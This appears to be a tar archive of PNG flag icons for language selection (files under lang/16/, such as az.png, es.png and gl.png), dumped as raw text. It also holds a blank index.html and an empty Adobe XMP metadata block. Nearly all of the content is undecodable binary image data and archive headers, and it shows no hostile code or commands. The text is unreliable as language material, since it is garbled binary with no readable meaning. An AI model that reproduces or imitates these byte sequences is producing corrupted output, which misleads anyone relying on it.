\��cݺu��<������a�2R�T�-}����$.9aA<�����O/�Zq��n��=טּdi�c�6����ϣ�qӔ��'���<VN6�bG���m����'i�l>�M�F3j���Ϫ�y��wfxD-9�f�2,h���ޢ��EcW3�&;R=��f�y+�X�vd�z=ʮ�d�Gz�XW��\.v6�їɞ���{��[��Փ�Qm��֫r��e�9�1���� �<&:m^Gtr���]��/�y�y�?.��=�s��_^t”c�.����?��݆�L�����]�?���qRr��,ͬ��z�Z-�l�3
49�l&��i͉w��4g���fg���%�=�����KKq+|qo�����Z7�U�)�̍J�	Lvy$�7��,��cO�����'߿�P����=I���/��呡�n�)V�Z5�c6n���r��;J��u�;-�����f+����h�~�5��:o>�/0���w� 
�zb�:�~����$��i
�Q=P�˕J�ҷ���f��Wʞ2�6�\o2й��PO'��+�/�d�����c�S��7�'��[W��d~d�G�@�(_�՝,d�X��F2�O��j�rZ���G��ð��1�ؾ���18:~Q��'������7ņ��X�����\V'��Jt�wMy��Cw�f���j�<�L(��+�[�=3��,���U�N�Jz5,9�����$yx�_fJ��Ѭ�
~kl��Ʉ,��cಚi�M֫\gG{��}��1���c�����1d�^U��1���m/9g���Gk^pf�햭��w�<3�Z5:���Y�Y�J��Z��ñ^��i߭x�_5�*s����T3�_�z3��:$�c$��d����s������#���l����8֫z�Y�F���Ҥ<j��x�Fl�G6�GR�F��a~�?0?6v_���`җ���p�,��䱥�j
�`��r9y�y�y�C�PiaN_]����2���S����s�<�<�<�!�c(�\��ձp�­0��
3(��0��
3(��0��(��0��
3(��0��
3(��0P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP�@afP�@a�fP�@a�fP��fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP�@a�!�9yt&�y{���j�ؓ�a��@r9y�y�y�C�P��_�[��r����+��e�;�0���^y�V����e����"�|��G4?�����#�<.ó�G��}^����������?��q�5��"��~f�髶�҅��1��6-mc~g#��O���^=��_7%��^�w�>��O�r�7]/��HNB&��+Ez�E����y�������l���[�����/��:��3���2*���c:���8����Ѫ��CK>��A�L�p+��#�<��z���ԟ3'�S-�(���kw�'�����F<��q�z|ee3^��D��oLF���~q����yd�lj�w��_R�n95��y�SF���E����L��<2ȣ�l�y�N��Ak��7?2��“�8�u�t�����i�<2ʣ��f��-F鎟DeæXp�s�x�i���o^+WD��;:O;5���\�c�ݥp�׾xdu.W0�s�Ъբ9<�ݻ��䓓�VF}�֨��xp���-���C�7�yT���bwyd�7���;(����#=F��d�����_�+6l�[V?6^󸳢�_K
sm��/YQ�GFy��ew�m�>6���'V�~ ����O"������?Ԟ�	��i���%���5�jlV�Uz�<��?��c�kt�?�ع�z5/Y�Uyd�G�����tϺ��#���ziT�[���=��}�k�S.��g��?������Ƕ/�4��](�.���Q�T��}{�>�y1�W5J�F4�3�܎Q߶m|������c��/�2�w�%%��s��T��Bg�TF���/��h��슧^0_�A��7'�uΞx�y�?K��?/������&���R�b`��GǢ^nud���C�Ţ���:�{{��7��~�>��h�P�V��,�>��J�,���LT����ҞC�c>��V��g��cg����=��Q��k�B_o��c�=�Gg~^t,^�����%'0����>��b�sŇb�����w�h_��]4.��;��|Fj�r�,]^��x׻bϧ?�y�\��g>3ƾ��fӾ���jAzٸ􄳣g���f`0jwݝޅg��E'W�R�ed`�����t4�}A!>sm9~pӵ�C�W����
\F>{ͪx�o��Zq��x�G�k}箾�u��|n��(m�GV�r�{��W��P���E��4��s�P�n������t�R���C1T��zW�I�9�Tj�GV�+���wF����^�=cIY�*���������/�����z����Fu�2�}�eݦF�0�D�����y�ff,�cA���dr��碾kW䆆b����"�7/?�h�%�P���Q*x�&�+�ʤ
�96嵷G��?��k��˦Cv�cݺu�7�;��#�~Q1>��Co0��#:\F��E�R=�ߓ�Y����~T{�Z8o8���y�c#-2xGa�J����[}(r�oǞy���zu�֫d�^�sK�0Jc��KO��֫�\�շū�}(���;q��Fw��>���dWT��N���t}����3N���]���
s9	�U,Fs���\o4�QwE3+�ԒB�^=�~�c��������=�noD���d4����N`2�㠫�����y�/D�ڟ/x��~�1�q�<x��bsw>>���ïW�z�^��,+_[��X��$����`{�_L�Zn��؞3nGk�J-�ڙ|�$�%��;����zu��(E��#�W�C�Ps���d���f,�����k?vk,�碯҈
+'�D���h��#݅x�O�s�PR���r�@a���/�U�V��/ݸqc�r�[�~W�ū��c��%�?�q�iQ�}mT�;v��_E��k����W��j���j.#����w���⤯w]xA���k�5��b!z�e��X�׿�;6���/7ۛ�E?-���i�����;��:�����n����?F��#�@^����q�	��hN�j��G���B�($�Ɓ���3p��J�����k֣RQ��2���S*Ŀ={U�qkl<�/�:y^��Ǜ��Y���g.}Tl\�gm�FG1J����H�.��f8�ҧ�
�|��c�[�F��3��eK�|�]�~�����2����ݽ}њ��m5py��5�����W���'>-���U�����p-��ܔ�\*9��ʖ3�ݽ�'��c�
�of����;��ݣ�����E�4~Qe��'����*��T�������$�fȤ�5�d?Ϯ0׫I��/~�x`y_|�¥q��q�#q���O?1���mqVry����\�R�|�0�w�eѽ�V�}�^���V��l*���z�O�z����E&�4Wܒ�႗l&�]�+����ĞШGŋ��;��5�k_�GgG3.|³��+>��ۣ�h��%݇8	u�&+�n�1��wެ�yp�ڈ��7x��ɂ�Q�ٻ����c��N�V��V3:�G��9qC�G�Zc��٪��n��Q)�3�7�x��q˅'D.�&�V|粓���
�Dž�_�*�����H~莡�#�����j�188~5y�W��x��H���=A/��� ���P�Ba(V?�q���K�}�J�u�d��9O|�#�<�?�	�#<���}�d.�P�P#�O��#k֬��F�q��7b`ö�_3�t��n�O�O}I_��2�K�+��Y��i�[Z��K�s(���C�C�C�8��Hs�~d�1��*�h��V�s�s�<�<�<�!�c(�\k�o%��­0��
3(��0��
3(��0��(��0��
3(��0��
3(��0P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP�@afP�@a�fP�@a�fP��fP�@a�fP�@a��ٻp���^���9N&�@��
81���(�:+�U�m�*u��b��U�8�RZl+jš��V���\$ʨ��@B�3����I���dS4�_�����|o����k�
3 0��3� 0��3� 0��� 0��3� 0��3� 0����y��jZ�R��ƽX�LF=��P�C=��AT�|�ς��hs}Ӧ�/_C���]�?������eث<�U�m��ƥ_xyl���Ɗ�Oy�W��e瞢]���O���Z�_��ѯ#�׊V%��Z���xO��{����j�Q=F�-Ģ�\�]�GD6��R=�P��'�d��a�x`Ə]e��N=����o>�j����iN���_��y���/�z���ę�͍��bՋ�^=��U�Ɲ�z~d.�.8�Ǐv`����"��ȥ���?����'E��\s]��\�����8����zsG]�~����q�
գK��n62��Ƽ�k�]����ɝ,[��
��:�{߈��1��B�]|�zt�'����/�Ք�
Պ�W�G���j4��#v�Ə����^
b��r=��Tb��#⋇��k�cQ�1k���<n�����0Zsrq�o�U�.�cr�n�؅��<����"r�(}dd�͋���?ώ�f;m�#�U.G�����k�͈�3v�r�E�V�<�{]��j1<V�mC��7w���;�v.G,Y��6�ѝzD���ǣ����J-
ec���\�Y���s���&���p1�)���ѥz�����he�Y����ҋ��{�T��G���Z����鴍��2~�K9�]�ǧ/�#����R\sX3���8r��nm�Z��p袨���u������ѝ�/4��ضmr�h6;�Gm�m��_8�������*+��ى�/����}OJs�hTʺ�K*�Z�004#���N!�S�4;j��;j���-�Ɩ��X�f�\����>pg�3��:م),���J��S����|���]ǒ_���x���ﲮ�hD���J4�Gvi�0~�ό�� �]5'��5����������ˮ+�۶����3q�cz"[��SV
ŋ�,Dy�ѵ�Ur�\��NPn��N͡���i�A*^���ڴM~�|�A��~��M��g�2ӧmv��V�
�-?��ˣ��o�{;���/��n۔J��3�:�z_4��-Q+���1rN&濼�_R�f���R���Rh����V�G7�3}�
�ju��~�_��7Qo4�י�^�>N}��c��Ym�g�<7�5�p�<k����ca�76��g��.�p�k1'�4����
�ߩ�����]�ϖ�cbpK<T�u�xU���`�l�H��7>�����
�|H6�G��=?�ǯ/Gc��N����s�-O�������ۏz��c��߼i:0��m�|�ٹs��f�}����(�z�Kny�F�w>cs��u��Q���{�P,X��3�7d���\�lFvA�siS~E!�VS�~B#�4;�N3���]7Tұjf`n���x�s'��?�߮��w��;J�rܲv�n?��;�D!c�-�r9z֬���-��1��ˢ�vm�?�i1�L�k͟��s��w��#.����=)y���)_�|����҄r�"�����޲i20ϐ�~ys=�g�4��(f�4�A>�����Y�E����]��;������������lܸ1�t^l��Fԇ�Q[[���l4��ļ֢��z�RF(�����Z>�˚Q8(��u\�Lk�LD-M0��߯�\�Z�V罃�ι�6�������G�yw��He�O۵��գk�G���`�X�����p�.�4F�;��~�^��O`��U�ڰ���W����^���a�w��V���c�_�G����U�Ͽ�'�FG75"^����'����1^������ӧ~}�|�.���+D�2���?ۊB>��\d�^_��/r��/�:�9ތ�/�����`��\&6� �5����o�����/�>��-��{'�.J;F���S��u7��U�;�q�K����xD����*\q���g/ɜ|oԷ��p�/t^����b!*�r|��K��,�B��7_:9�<����7_1o��@d��QuMy�Tҿ�L_ol}�{:����G'/�hθ{I&3k}y�'���\�;7z2��Ν2�K�Ռ��{M}�[h��m��=��i��Q�.�#�v�V!
iŒ�c��������FfN+���7
��IJs�1�W��iCw�����F�ָ�;_��S�Ei��%�4�dZ�he2SQlf$�y�I�G�%2]?*�m͝1V�<j�~����ѵ	~�[��_<��ʾ�����M)!O�?��7�;��,�~�~���3�
Gy|B�u�K��9^u�N�;Ĵ/i�df��������	�N`���D��/b���7����K4]���b
����ue�����|of`V�.�`C��yb-�~�c�����2?�pP3�}���c�|�Tb�o���;sQ�T=��V�Do+������8��E�V��A5���ǫ���������#�mg���Z=:��zt�u�q֋W��y�xܦr|���c����2O���kK��Y���,���7/�/7�nM(ۓ�|>���
ǝ�X�5�L������jmd,~���h�l�
����X�����Ӿ�|tۚ�7V�Zw
�@z���z<0��yJ56�����b
���,gb�x%�i��m�72=i��L,�V�yo��B�.P�n��Gg<s7���>��B=��xu���j���~=��f�r�z<H��O[�M��++q��9M��?5���6��[�������;'._Q�Ӟ�<%�u�э�U��U�~Ƭ1n����`{��ٗ���L��tAZV�e�����WF�O��a5�{2��z����z�ǃ�������We�VSAʰW��z���� �G���m~��-0��3� 0��3� 0��� 0��3� 0��3� 0��@`�f�@`�f��f�@`�f�@`�f@`�f�@`�f�@`f�@`�f�@`�f��f�@`�f�@`��@`�f�@`�f�@`f�@`�f�@`�ߥ���bZ�m�?�iK����bA2�P��Y`^��W��yw_v�)���E7��@�4��T=���gF��iE�>��ӗ�G��x�]����h�C=����B=>��o^w{%�����[o�Q��=�{Ʃϊ~�
��ni�0s�V��w=b�"��ac��ܴ����3_}ȑ��[�0��L�,��Q�L*G+V���ѥz4��8n�g�����j�h1b�o:4O�c��գK����
�޿|j\s���o_�|���9;y|��V��T�(0�j�F�Ub�Pi��֌!g�%��ݦ�V�u���;פB4:U(d�q�ʇ��
��ܜ�k��T�%��E�^S�.գڨ�Hy,���#����niƉw4�/M4K��/?0���Zn28/�� �mԣ;�X�p\xѭ�hQ�?�<"�8kc���3}�j�g����V�س��J-�F+�e�F�\�ӆ�h4��'����ɳʍz�����o�9�m��bo<��t����?�Jե������hVG��7�7�:g�k)�SF{����h&���T�zD6�U�.*����[#W�����G�='��'��C��j:$7f^3��\*Wb�P)�G�1�;��Yk{��������\�ā+'<��.�BO�D�Z����'[��D�R�q]R����<���x��N٫Q��AiN�o�����2'���6t��T����8g��x�as��Ϳ���x|����͹Ym`��76~9��7�92�K����1��Ƒ��+*)l�̷�_ݞ�IJ�+c٢�q۝�a��\1>��F3����Q����V@K�[o�������ю^��)������Êq�X���ZF�u-0��[���pz���q�
��|v|��x���W����ۗgd�S�cu�-;9��Y�E��ܥ��m�
�Q.���7[��3�X������?=���kD3��:y֬��)�գk�H}]��cCo3���ȷ�oN/��z,�g_�Uz^o�;m��Q���n�Ҿ��uw���*z�n��ҿx��e�K��)�ڧ���9
&�B��wE&��J�5�H`�~W�uko��~�o⽧�3Zv`|�����1'���Ϩ�ԣk���#7�/6�o����;ވ���z&�@���4o���d��y���%�F4*Z�&0���49��^��U����8㯟\�_�������q�����9��Mkǭ�vaio[�%�$0gb�Ve�bO|�?o=��8�У�o�D�x��7\��}���R)U:�L#�9.g<.C����pz<�||�Bd��Ju���f�{�H�����L*���W��k�㟾*����?J���'��t�������%#
�}�)v�U;�RS�t�=��ij��|�|�>�~�����e�T�\>��	�%�Z5�)t��N���
�#"��Z��/[��sw���ʹm�'0]�G-������Z1u��B.n�eu��͏�|����.�W�V��|��Nؓ�\m�ڡ���t����z=V�Z�y1�yx�Z���d���-k�⌊zt��f+F�m���h��풌ǽ��zt��^w��8،w�o4;tNܴ��x��7E��z��ډkAZV�e��l;����VkX7�łd2�����\���W�ڧl�ij�ƽ�C=PL�O��~��@`�f�@`�f�@`f�@`�f�@`�f@`�f�@`�f�@`��@`�f�@`�f�@`�@`�f�@`�f�@`f�@`�f�@`�f��� 0��3� 0��3���3� 0��3� 0��3 0��3� 0��3��/��vG&�)��yi)�Ϧմ��Z��^T�m�?�a`w��O~�y�w��e_<eY��Ž[��'�d���o�����Ϲ`�/�{�-�x�q�£�WkG��O?8�囦�m4��Gd3��/��-˜a`wͭ7�q�c����4�n��i�m/ף�hD�QG�Z=ҟV�S��:�`��?.�y<^󼕑�o��\�!�y��x���+�W��#�w:^E4Sp��/�u�
��\�ތ��jl*�Zњ
e�-Y��6�o�ףU�Ekt4��+�-^�6���z��Q����
��-1��c��/��F���!SA�uO��_>��s�\it�
��6}1zz��ڗ���"W�Q<ⱑ���U�"��ќ\�_�M�b���� �Z�2�'0�F�|��x���B._���X}�ֈ�d>^���O�]��;'ğ=�m�����N���/\���1<|g4ӌ2�f�g^4��d��h�;J_�`��Wj����X�$��?/ƿ��(>�1�]� *�}E�;�91�틢U���(����Ri<�bx��z3�����x����G�8^��c�֑H	:�q�6�/8�\|��Wƍ�xw���{�Ě��<2CCS�5�����<eA��Ʋ����Rn[��[#�A1��'E�#�p�i��Ţ��'zyh�}���tS�.�R.�㺤\*ǭkR`�D�R���Z�X0�~���)�������ǂ�=Qȸ9�������s1<\��un�q}��ԋ���/�F�l��s��sJ�Sp�����e�Ѫ�#;on�2���[�1[��{tD���;�5�R�6u\��Q.G+��!ke3����X}�P<�!;�7��Mk���ȴϢ5�)@�u����(f�D#�����R���B1���e�o<oS������z���0��2���˥�՛�%��)
<)7*���W�K�g/���M���U�LC`�r���l4���Ku�Z��O�8������3�i��c4�g�V��4R�4�ըz;_�(
��ܾWL���~�O��fz���#�j��#=�Wf�̉s^��Wt�Z����_���s^�=�(�nH/��y]��M��!s�F�R�~���K���m�����-��t]�>�R-�	~d�_NN�g^�iM~7����Y/^o�ׁ(��Z��3{�Z�F1�2�®ݕ�}�@�
]
����B!v� �m`9^��4�X����_^8�٦ڹt�*0�g�O4�1����k�^�G�Պk�����x�و����s�zk�g}r�-��ilvK&�i�~aeZ��Ϧ�iY�Ɵa���۰����\����+q�Ϊ��7F=�`������3� 0��3� 0��3 0��3� 0��3� 0���@`�f�@`�f�@`f�@`�f�@`�f��f�@`�f�@`��@`�f�@`�f�@`f�@`�f�@`�f@`�f�@`�f�@`��@`�f�@`�~�du�ˌ2�ɾ�#��s�~�̤�����0?�Z1=�KK�~6��e,ճ��j=z�:����-��z���5?r��x˽��O�x�x�twZ���o�e�~��"
�ɱ�V(�;�<�.mW^��R=��ŽZ�y����F�t�������w��C��@�������f����G��ͻ���8��
����:s[�F�sdd�hV&�!���k�:��B�T�ndz�5�vڦ���3Ae�Q��A�.��eGW���m��t��O}�_~ϙ�l/�ǫF���]V4�?fg'�2Vou�f�H�U��Ae$�K�F�g�%ژ���&�0�iY�n���EѪuNv�t��W)U��{GƼw��3�?�SG^z�q?X��7����󮏾�7�)���U�ь�J=FK����s
��fcp���y~_!�m���=�hV"����-�E�\��QHK[5���>��E�R�q�
��(_��h���+߻4%�f<5n�%?�t�y�s_x��_��s��>���j���zL�e��{���㏯�s��L��@`fϊ��9bK�׏F����-��h�=�F�j&�����j��㺤V�E�T����3K�G���ʞ���(̽n���y��������%�K�4Y+;g��V<�����#�����_�tn\q��ց�3�|@`f���Dd�F�o,2sZ����Z
̓�L���ښ5S�g����s��n�6�����b F��⋏;�3߿����3��\J�`L_V��R��N`n���z��h�����~dg�����\uG�:�]��ӓ�FU`f�40�KѬ�"ShD��L�Z�����ҟ��'��z-JUWtwO�Gω��������Q��Uo+���������25a�}M�\�����ô:��Vܸn�s�9�Br.����j_r����#���bb$�M��-lEc[&��k�ve��<#0gj���j:��z���Xt��:�_����K�ꊷ�'k|���>=\�̾�+�(�iNO��q�΁�8��D�ފG=t�Ժ�F:v���6�9�����ط�Q����/DyU>2�Jeb�����6�/���#ήjMLL?/M�O����K�ډ�y��%�U��?���;�N�/��f�P
����n�Z׹^�5�෉3���}��b_Z��SH�Pa{$kf3�)�4��D�e�˯�m�~I�g.����z�ə��{�O?��/~��:-�if_�7��N������d{�v��=iD�vhp֛�o�.
���\-�~G[���Z���/�/����~ˑO��k��}��ٗ�W�f=6���n��}�o?��`+H&� =�lg��ٴ��Y�S=���^�ǜ�$-}��Y���Ҿ9�X�����x�x�tqj��U1�`���PM�l�Ž^��]�G��r;(�R
�a����
�@`�Y`�f�@`�f�@`��@`�f�@`�f�@`� 0��3� 0��3� 03� 0��3� 0��3���3� 0��3� 0��� 0��3� 0��3� 03� 0��3� 0��3 0��3� 0��3� 0��� 0��3� 0��3� 0� 0��3� 0��3� 03� 0@7�����Q$�IEND�B`�lang/16/index.html000064400000000054151721413460007713 0ustar00<html><body bgcolor="#FFFFFF"></body></html>lang/16/az.png000064400000000730151721413460007037 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F^IDATxڤ��JC1��	Z[[���n�>�
�/��$���O �� 8����(�������7���7�M��Z=2$�9'��{�}�`s��J`hi���/կ���$���3?7�}�n�^���S�j>KQ�]��$12<@l�BhS
5�PwՄ)���g�2r��H�������T��V|g�[@)E��CC���m*7��ɯ,S��j?-�C	�PQ���k���=�����ˎ3o-*�Z��L���� 5k����@F��!�[��
�&�	J�Kvm8��J�M��!�=})�U
�{bcZ�YG���/���0�z$��S�� ��	�;�_�R��A�IEND�B`�lang/16/hi.png000064400000000657151721413460007035 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�lang/16/eo.png000064400000000444151721413460007032 0ustar00�PNG


IHDR�asRGB���gAMA���a	pHYs``�lrYtEXtSoftwarepaint.net 4.0.12Ck��IDAT8Oc���?E� )D��������_�~�a&��0T�9����#�M�n.�/�P��F��7�� ݀�_��w��?�P:�K��~}����B����Xo��	���a���`���`���`���`���``�Q��
���
��3��CAYI��IEND�B`�lang/16/ky.png000064400000001015151721413460007045 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nT1���e/�)ВG@y
ލW���@�"5(�H���e�}|�8G�Rn2�-��Ͽ�3���%�~�'`���7o����8`�93<y��itǧ�n�_�&���Z�g�N� ������ڠk���Д��1R��� �}T�&ܳ�B�6�<��b-9F@~6�,��_G�Q��0 �=P�'���!���&�- �5��sʢ�0�B�a!�x����`k������j��b(�2Q4)��P6
��6Q7e�!"�w��ϖ�ӌ��@�[�|���Jj�]�'4uD�A{a�ލ�/2��2�^
�Jhv�c���Sx�?��o@��=R���dU���4c#�!p��3y\
`�A�{2��]����ĵ�MB�IEND�B`�lang/16/xh.png000064400000001130151721413460007037 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�=hSQ��s�Isc�`�M�FD	-�����䨂��T�Bu����Ppm;� H�J����n
:u�j#ި`cn��qH�bc �]��=���W(�؍0D;o?r�_��9YA�#��
e��"@��$�{�4-��S>���X
83;��5
��dz�h�}0(=��&������
��!���<^Cඇ���J���0<9�/]��哪Rx8-rG�e%�Z�bQ�b���M�,��i.�o`�u�����nWJ�T�WX��d2���T�Un΅(G$K��ËG���d3+l���q]g��X,4z�����#�H�+3��B1� `lb���s]ᰤV��}.���|14W@(���)�'/q��{�5)�@�im;�kE��P��	�%/ro���L]]ح���W�^�ܟg�v�;K�x~��5l��w@b}v���w���	�G����#�S�IEND�B`�lang/16/ur.png000064400000001130151721413460007046 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�=kQ��;_�뺉Q���� Q;B���X���@���F�+A������F��v����7Y���uם��3�Z��2+�	y�{8����=Bk�n$؛՝H=��Z7F���.�V ��>�}�Z@9?�;z�!�U)0͜e�F�}Y([���o}�[X�V�����R)�
�q���4�4�^����-��-b[6�v���.��?��4����Y3Mʕ}�=~�O�?���QH?
iu��q��1�R	�o�5#܃UܙC��[l�k`:�yv%`jj?����AEcJ+�Pl4~R,��x�KQa�@��ZE9�l�?6�r��}n\�ά{��+ϩ�*�)y�C���1z�7ߢ֪su�2'�ͱ���/2�"�8��H�]��a�V,�z���'�D�18�R���$	���mt��1rIԙC!�x"���@e���j"K��w"���b��gK��ת՝�IEND�B`�lang/16/en-us.png000064400000000750151721413460007456 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FnIDATxڤ�?HBQ�/eXj68d8%AFQCYѠD�V��ڠ8�F�����`T�[j�M:$�̐�"�<�^����w���I�$�@_�zT�e��������{:�v��a��&���[�P(���"�{�0��_�Fd��L�����y���y�^7�X�o��ݶ�����2���4��+�$y��f۸sӼ^��A��NO�k��d�ޞ��e|�=���g��yw\���}_
�5�a'U*8�v���D2�l�P�R�r���<���Ð�e����+UU�J�s��&D��w���C���ځ�(�(��LP+O.��[j`�@���7�(�F�:
�@M�o�#�u�N��IEND�B`�lang/16/kk.png000064400000001131151721413460007026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nQ��s��ٍm�@솋��
������(yZz:j$
�DAJ)�,%1$��ػ���=Ca�"���iF�4��%"\E
X�gu9`d�ꋷ��V{>�����E���_�?ڱ@$Rpk{�������B���YXY�/'�� 5t�ٍ�c{��<�}Nj���~��3����r`,��1Y6�7���Nx�����oL\��S�<��
�l���Ş �����#JƑ�	� ]�N�I?�h�!d�S7Dt��~�oS���(wx����\4oujQ���:��:ձ"�&s@��Y��s:u*A�YR���gh<�`"t�x��{K�.T(������;�q����oFY��'{�€���S��8GW

��C��j�[�\H.�Px�4M�5l�BV�����VI�Z��M�n�L��6���K]w��P�@y�,���,HfI@8u�8�E�ݕ�	IEND�B`�lang/16/et.png000064400000000574151721413460007043 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ�1N�0E��]�@��
m�-8Ǡ��(Ԝ�#����&�K��^'CA²E��˖��o�G��Hg�z\��������Ϗw�V� ��\͋�@���J�.u���eA�w����9� �p�cǶ�RDя@�/l�k-����.eYFUU{@۶�e��vV�4MI�d�a�Y�}��7�Y*c��hJ�T�'p�-L
�EQ��R��Xh����/�W����B�QIEND�B`�lang/16/hu.png000064400000000561151721413460007043 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�1N1E��fQ���hR��E����kqjN��R���w=���&��������i�1��12@	�m�	�������g/���t�9��MC6U%��T�*q�b��޿=�ǘ����D�������z�FQX���^s�W`^�i�=@۶����<=b/&�J�d��	C��B�1bW��Є�tB�JiO��*��6@4F�|F1����5�0����1ǎ������`|.�IEND�B`�lang/16/af.png000064400000001130151721413460007006 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�=hSQ��s�Isc�`�M�FD	-�����䨂��T�Bu����Ppm;� H�J����n
:u�j#ި`cn��qH�bc �]��=���W(�؍0D;o?r�_��9YA�#��
e��"@��$�{�4-��S>���X
83;��5
��dz�h�}0(=��&������
��!���<^Cඇ���J���0<9�/]��哪Rx8-rG�e%�Z�bQ�b���M�,��i.�o`�u�����nWJ�T�WX��d2���T�Un΅(G$K��ËG���d3+l���q]g��X,4z�����#�H�+3��B1� `lb���s]ᰤV��}.���|14W@(���)�'/q��{�5)�@�im;�kE��P��	�%/ro���L]]ح���W�^�ܟg�v�;K�x~��5l��w@b}v���w���	�G����#�S�IEND�B`�lang/16/es.png000064400000000755151721413460007043 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FsIDATxڤ�MK[A����&i��`��?Ђ��J�u��	� \�х+A�(�E%~��ܙ�wf�ȍ����9s^�y8Gb��'��E.�h�=���7�T)�����V�9��_��Y F��1��Tt!�G���s>"�jm��2��;��-�;�]bz'4�9Z�+.*��A4��R��ir�m_�p���ho'4j2C��`���5)�ڀ���p���i��}�_����?��TP0&2*�E������ a��G���p`�����J�ج�mӒ�Θ�j,��s�cL�$0�1H}�hN�zL�j��>c�2b5@�m�C�:�(�|��G�L��8�z@�d��@��J
x��{��J�=�3#�IEND�B`�lang/16/hr.png000064400000001051151721413460007033 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nA��{>|�C�AE��(h(H)H��
"!!�
�C��������
��"�PX����ql�o��
'��t&_�v��vf5�D��@!�:�Y�A�|�PףR,Lj�D�"�J1Q��8,��M�x•��[�͈��cԪ
2�y��p���~�
��x��v��I�]}L���8:�w;�\桅�g|`0W��cL����{=���4ȡ3 
C����`Z�1xk�V��4�2�8�ΣU���8�h�4`Iؒ��2�|����[�,�hNs4@v.���nr��W����Ӝ`���R��h\6�6yy����jc��{
����&g6˨�Uz��^��6�����-W�#̅�f*m����Ъb�+�HN?��*8���܌�}���"�
<��E��J7�;��IEND�B`�lang/16/sq.png000064400000001027151721413460007050 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nA����;�8;)(��i �
��*

oH�3��DA	��"+gǾ�۝��LG���V����o��x����X��pxq��>�/>}|��Jar����'��_@dw��gm�
�Z�WK���Q
��ϼg�Sw�r����:Ԍ��N���9�TyQ�|hf�xO������j	�5E��_s�"_�`f,|`�&�XP�v�ۀ~��>?Ǻ��?7��]�1�5s.��i�T���޻��a�L���J�5P�u�<u��@M�<�'��U��2��^��x��Dh�HfȐ��!����"D��dJ@8�b��zBz3D3�O{C�)B� u���%�U������ȇ��3����ry�����Ѽ.d$��'�?U�$]��f��FV):YIEND�B`�lang/16/is.png000064400000000756151721413460007050 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FtIDATxڤ�M/Q���V�RB���� ��)������?��������/0��#��H�h�����kњV[��orss>r�{�{�e��X@�ܭ@�6н�u�Z9���ym���c�����pv��o� 0,��
&f���h�l�� e��||J�^!����~��:��$)!���,��%^^FI:���!bHY��1�M=2+�?��o�1�j1C:�Q�܌N6��X:MNĪ\�m�p=2�/�u��V��|��*\��$�w��qB�Vf �E�6X��rY�j�Gk�,��R$�!U����<�"��A)PFk���(�q�w�痿�8[@70t��y��De�D�B@Y�����/{�wIEND�B`�lang/16/gl.png000064400000007611151721413460007034 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<
@iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.352624, 2008/07/30-18:12:18        ">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:Iptc4xmpCore="http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/"
   xmpRights:Marked="False"
   xmpRights:WebStatement=""
   photoshop:AuthorsPosition="">
   <dc:rights>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </dc:rights>
   <dc:creator>
    <rdf:Seq>
     <rdf:li/>
    </rdf:Seq>
   </dc:creator>
   <dc:title>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </dc:title>
   <xmpRights:UsageTerms>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </xmpRights:UsageTerms>
   <Iptc4xmpCore:CreatorContactInfo
    Iptc4xmpCore:CiAdrExtadr=""
    Iptc4xmpCore:CiAdrCity=""
    Iptc4xmpCore:CiAdrRegion=""
    Iptc4xmpCore:CiAdrPcode=""
    Iptc4xmpCore:CiAdrCtry=""
    Iptc4xmpCore:CiTelWork=""
    Iptc4xmpCore:CiEmailWork=""
    Iptc4xmpCore:CiUrlWork=""/>
  </rdf:Description>
 </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                           
<?xpacket end="w"?>�
